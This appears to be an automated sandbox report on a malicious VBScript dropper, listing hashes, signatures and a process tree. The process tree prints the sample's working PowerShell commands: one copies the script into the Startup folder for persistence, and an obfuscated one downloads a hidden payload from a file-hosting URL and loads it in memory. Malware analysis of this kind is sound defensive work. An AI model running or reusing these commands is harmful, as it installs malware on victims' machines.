Analysis

  • max time kernel
    31s
  • max time network
    34s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    22-11-2024 01:26

General

  • Target

    61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs

  • Size

    12KB

  • MD5

    8825e4591cadaec1fb1d0082f84c2398

  • SHA1

    39fca0a522686f7b9b2b9dc5e5874aebcf231159

  • SHA256

    61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa

  • SHA512

    d5b9c70136aaef8ca9aa1dfb32225632b69de90310ba4f9dcf35567ed58cfd6da8a6fbede4714a19ff41310af0e04bc54c7c6a95060840918efc5a31893fa2c9

  • SSDEEP

    96:J86ymyaynXnLbv+mfupmtsgOgjAC9LFgtYif8fTFsgH2vX5bUdnL7vcumuZ4Y5Wx:JttRS/GpqDzj1eUhDH2Rb8RX1GHRkfkx

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Drops startup file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs"
    1⤵
    • Blocklisted process makes network request
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:2660
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:2868
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:2980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\61db47c10daf54a56360bbfa26f2127a31fadfc766220384eff41153d31d23fa.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.JJC.vbs')')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJHBTSE9NZVs0XSskcHNIT01FWzMwXSsnWCcpICgoJ1BoUmltYWdlVXJsJysnID0gZlhZaHR0cHM6Ly8xMDE3LmZpbGVtYWlsLmNvbS9hcGkvZicrJ2lsZS9nZXQ/ZicrJ2lsZWtleT0yJysnQWFfYldvOVJldTQ1dDdCVTFrVmdzZDlwVDlwZ1NTbHZTdEdyblRJQ2ZGaG1US2ozTEM2U1F0SWNPY19UMzV3JnBrX3ZpZD1mZDRmNjE0YmIyMDljNjJjMTczMDk0NTE3NmEwOTA0ZiBmWFk7UGhSJysnd2ViQ2xpZW50ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtQaFJpJysnbWFnZUJ5dGVzID0gUGhSd2ViQ2xpZW50LicrJ0Rvd25sb2FkRGF0YShQaFJpbWFnZVVybCk7UGhSaW1hZ2VUZXh0ID0gW1N5Jysnc3RlbS5UZXh0LkVuY28nKydkaW5nXTo6VVRGOC5HZXRTdHJpbmcoUGhSaW1hZ2VCeScrJ3Rlcyk7UGhSc3RhcnQnKydGbGFnID0gZlhZPDxCQVNFNjRfU1RBUlQ+PmZYWTtQaFJlbmRGbGFnID0gZlhZPDwnKydCQVNFNjRfRU5EPj5mWFk7UGhSc3RhcnRJbmQnKydleCA9IFBoUmltYWdlVGV4dC5JJysnbmRlJysneE9mKFBoUnN0YXJ0RmxhZyk7UGhSZW5kSW5kZXggPSBQaFJpbWFnZVRleHQuSW5kZXhPZihQaFJlbmRGbGEnKydnKTtQaFJzdGFydEluZGV4IC1nZSAwIC1hbmQgUGhSZW5kSW5kZXggLWd0IFBoUnN0YXJ0SW5kZXg7UCcrJ2hSc3RhcnRJbmRleCArPSBQaFJzJysndGFydEZsYWcuTGVuZ3RoO1BoUmJhc2U2NExlbmd0aCA9IFBoUmVuZEluZGV4IC0gUGhSc3RhcnRJbmRleDtQaFJiYXNlNjRDb21tYW5kID0gUGhSaW1hZ2VUZXh0LlN1YnN0cmluZyhQaFJzdGFydEluZGV4JysnLCBQaFJiYXNlNjRMZW5ndGgpO1BoUmJhc2U2NFJldmVyc2VkID0gLWpvaW4gKFBoUmJhc2U2NENvbW1hbmQuVG9DaGFyQXJyYXkoKSB1TFQgRm9yRWFjaC1PYmplY3QgeyBQaFInKydfIH0pWy0xLi4tKFBoUmJhc2U2NENvbW1hbmQuTGVuZ3RoKV07UGhSY29tbWFuZEJ5dGVzID0gW1N5c3QnKydlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhQaFJiJysnYXNlNjRSZXZlcnNlZCk7UGhSbG9hZGVkQXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFBoUmNvbW1hbmRCeXRlcyk7UGhSdmFpTWV0aG9kID0gW2RubGliLklPJysnLkhvbWVdLkdldE1ldGhvZChmWFlWQUlmWFkpO1BoUnZhaU1ldGhvZC5JbnZva2UoUGhSbnVsbCwgQChmWFl0eHQuNzBvMWp6L2VvbS54b2J0YWMuc2VsaWYvLzpzcHR0aGZYWSwgZlhZZGVzJysnYXRpdmFkb2ZYWSwgZlhZZGVzYXRpdmFkb2ZYWSwgZlgnKydZZGVzYXRpdmFkb2ZYWSwgZlhZSW5zdGFsbFV0aWxmWFksIGZYWWRlc2F0aXZhZG9mWCcrJ1ksIGZYWWRlc2F0aXZhZG9mWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWWRlc2F0aXZhZG8nKydmWFksZlhZZGVzYXRpdmFkb2ZYWSxmWFlkZXNhdGl2YWRvZlhZLGZYWTFmWFksZlhZZGVzYXRpdmFkb2ZYWSkpOycpLlJFcGxBQ0UoKFtjaEFSXTEwMitbY2hBUl04OCtbY2hBUl04OSksW3N0UklOZ11bY2hBUl0zOSkuUkVwbEFDRSgoW2NoQVJdMTE3K1tjaEFSXTc2K1tjaEFSXTg0KSwnfCcpLlJFcGxBQ0UoJ1BoUicsJyQnKSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $pSHOMe[4]+$psHOME[30]+'X') (('PhRimageUrl'+' = fXYhttps://1017.filemail.com/api/f'+'ile/get?f'+'ilekey=2'+'Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f fXY;PhR'+'webClient = New-Object System.Net.WebClient;PhRi'+'mageBytes = PhRwebClient.'+'DownloadData(PhRimageUrl);PhRimageText = [Sy'+'stem.Text.Enco'+'ding]::UTF8.GetString(PhRimageBy'+'tes);PhRstart'+'Flag = fXY<<BASE64_START>>fXY;PhRendFlag = fXY<<'+'BASE64_END>>fXY;PhRstartInd'+'ex = PhRimageText.I'+'nde'+'xOf(PhRstartFlag);PhRendIndex = PhRimageText.IndexOf(PhRendFla'+'g);PhRstartIndex -ge 0 -and PhRendIndex -gt PhRstartIndex;P'+'hRstartIndex += PhRs'+'tartFlag.Length;PhRbase64Length = PhRendIndex - PhRstartIndex;PhRbase64Command = PhRimageText.Substring(PhRstartIndex'+', PhRbase64Length);PhRbase64Reversed = -join (PhRbase64Command.ToCharArray() uLT ForEach-Object { PhR'+'_ })[-1..-(PhRbase64Command.Length)];PhRcommandBytes = [Syst'+'em.Convert]::FromBase64String(PhRb'+'ase64Reversed);PhRloadedAssembly = [System.Reflection.Assembly]::Load(PhRcommandBytes);PhRvaiMethod = [dnlib.IO'+'.Home].GetMethod(fXYVAIfXY);PhRvaiMethod.Invoke(PhRnull, @(fXYtxt.70o1jz/eom.xobtac.selif//:sptthfXY, fXYdes'+'ativadofXY, fXYdesativadofXY, fX'+'YdesativadofXY, fXYInstallUtilfXY, fXYdesativadofX'+'Y, fXYdesativadofXY,fXYdesativadofXY,fXYdesativadofXY,fXYdesativado'+'fXY,fXYdesativadofXY,fXYdesativadofXY,fXY1fXY,fXYdesativadofXY));').REplACE(([chAR]102+[chAR]88+[chAR]89),[stRINg][chAR]39).REplACE(([chAR]117+[chAR]76+[chAR]84),'|').REplACE('PhR','$') )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:900

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    9017ab5addc57d132f73d384333bf1d5

    SHA1

    683578256375a619542ae3b1efb5bc20bbea8fef

    SHA256

    61adcd70f0fe6d5aad1541f42bd4c3fe3ae312ca645983abe6a1b0f235cbee2a

    SHA512

    b11a14645ad42e50b5174f80aedabdd53c871b015a1d2c26612f8bbee4d6f938167b26a47a861f28467ca15778524a5443f7ca9b9d717d8656a37b7d862f6fff

  • memory/2716-19-0x000000001B2E0000-0x000000001B5C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2716-20-0x00000000025F0000-0x00000000025F8000-memory.dmp

    Filesize

    32KB

  • memory/2828-5-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

    Filesize

    4KB

  • memory/2828-6-0x000000001B300000-0x000000001B5E2000-memory.dmp

    Filesize

    2.9MB

  • memory/2828-7-0x0000000001DD0000-0x0000000001DD8000-memory.dmp

    Filesize

    32KB

  • memory/2828-8-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-9-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-11-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-12-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2828-13-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

    Filesize

    9.6MB